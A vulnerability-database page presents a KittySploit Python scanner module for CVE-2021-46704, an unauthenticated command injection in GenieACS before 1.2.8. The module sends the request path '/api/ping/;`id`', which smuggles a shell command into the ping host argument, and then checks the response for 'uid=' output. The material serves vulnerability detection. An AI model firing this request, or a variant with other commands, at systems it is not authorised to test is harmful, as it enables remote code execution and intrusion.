Lucene search
+L

GenieACS => 1.2.8 - OS Command Injection Detection

🗓️ 28 Jul 2026 11:27:38Reported by KittySploitType 
kittysploit
 kittysploit
🔗 github.com👁 6 Views

Unauthenticated OS command injection in GenieACS UI interface API via ping host argument.

Related
Refs
Code
ReporterTitlePublishedViews
Family
githubexploit
GithubExploit
Exploit for OS Command Injection in Genieacs
21 Jun 202312:29
–githubexploit
githubexploit
GithubExploit
Exploit for OS Command Injection in Genieacs
22 Jun 202305:03
–githubexploit
attackerkb
attackerkb
CVE-2021-46704
6 Mar 202207:15
–attackerkb
circl
Circl
CVE-2021-46704
22 Apr 202502:52
–circl
cnnvd
CNNVD
GenieACS operating system command injection vulnerability
6 Mar 202200:00
–cnnvd
cnvd
CNVD
GenieACS OS Command Injection Vulnerability
8 Mar 202200:00
–cnvd
cve
CVE
CVE-2021-46704
6 Mar 202206:23
–cve
cvelist
Cvelist
CVE-2021-46704
6 Mar 202206:23
–cvelist
github
Github Security Blog
OS Command Injection in GenieACS
7 Mar 202200:00
–github
kitploit
Kitploit
CVE-2021-46704
26 Oct 202622:12
–kitploit
Rows per page
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""In GenieACS 1."""

import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client


class Module(Scanner, Http_client):
    __info__ = {
        'name': 'GenieACS => 1.2.8 - OS Command Injection Detection',
        'description': 'In GenieACS 1.2.x before 1.2.8, the UI interface API is vulnerable to unauthenticated OS command injection via the ping host argument (lib/ui/api.ts and lib/ping.ts). The vulnerability arises from insufficient input validation combined with a missing authorization check.',
        'author': ['KittySploit Team'],
        'severity': 'critical',
        'tags': ['web', 'scanner', 'cve', 'cve2021', 'genieacs', 'rce', 'vuln'],
        'agent': {
            'risk': 'active',
            'effects': ['network_probe'],
            'expected_requests': 1,
            'reversible': True,
            'approval_required': False,
            'produces': ['tech_hints', 'risk_signals', 'endpoints'],
            'cost': 1.0,
            'noise': 0.3,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0,
                'min_params': 0,
                'tech_hints_any': [],
                'tech_hints_all': [],
                'specializations_any': [],
                'risk_signals_any': [],
                'auth_session': False,
                'capabilities_any': [],
                'capabilities_all': [],
                'confidence_min': {},
                'confidence_min_any': {},
                'endpoint_pattern_any': [],
                'param_any': [],
                'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {
                        'capability': 'admin_surface',
                        'from_detail': '',
                    },
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
            },
        },
        'references': [
            'https://twitter.com/shaybt12/status/1671598239835906058',
            'https://github.com/advisories/GHSA-2877-693q-pj33',
            'https://nvd.nist.gov/vuln/detail/CVE-2021-46704',
            'https://github.com/genieacs/genieacs/commit/7f295beeecc1c1f14308a93c82413bb334045af6',
            'https://github.com/genieacs/genieacs/releases/tag/v1.2.8',
        ],
        'cve': 'CVE-2021-46704',
    }

    def run(self):
        r = self.http_request(method="GET", path='/api/ping/;`id`', allow_redirects=False)
        if not r or r.status_code != 500:
            return False
        body = r.text or ""
        headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
        header_any = ('text/plain',)
        body_regexes = ('uid=([0-9]+)',)
        if (any(m in headers for m in header_any)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
            self.set_info(
                severity='critical',
                reason="GenieACS => 1.2.8 - OS Command Injection detected",
                path='/api/ping/;`id`',
            )
            return True
        return False

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 27.5
CVSS 3.19.8
EPSS0.21901
6